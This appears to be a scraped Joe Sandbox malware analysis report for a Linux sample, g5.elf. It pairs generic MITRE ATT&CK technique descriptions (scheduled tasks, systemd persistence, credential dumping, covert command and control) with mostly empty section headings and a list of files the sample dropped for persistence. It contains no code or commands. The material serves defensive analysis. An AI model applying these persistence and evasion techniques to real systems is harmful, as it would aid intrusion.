Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report g5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/init.d/hello

/etc/systemd/system/hello.service

/memfd:snapd-env-generator (deleted)

/tmp/crontab.tmp

/tmp/qemu-open.EENzh3 (deleted)

/var/spool/cron/crontabs/tmp.YK4hXT

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: g5.elf PID: 6214, Parent PID: 6130

General

File Activities

File Opened

File Deleted

File Read

File Written

Directory Enumerated

Symbolic Link Created

Process Activities

Process Forked

Signal Sent

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Linux Analysis Report
g5.elf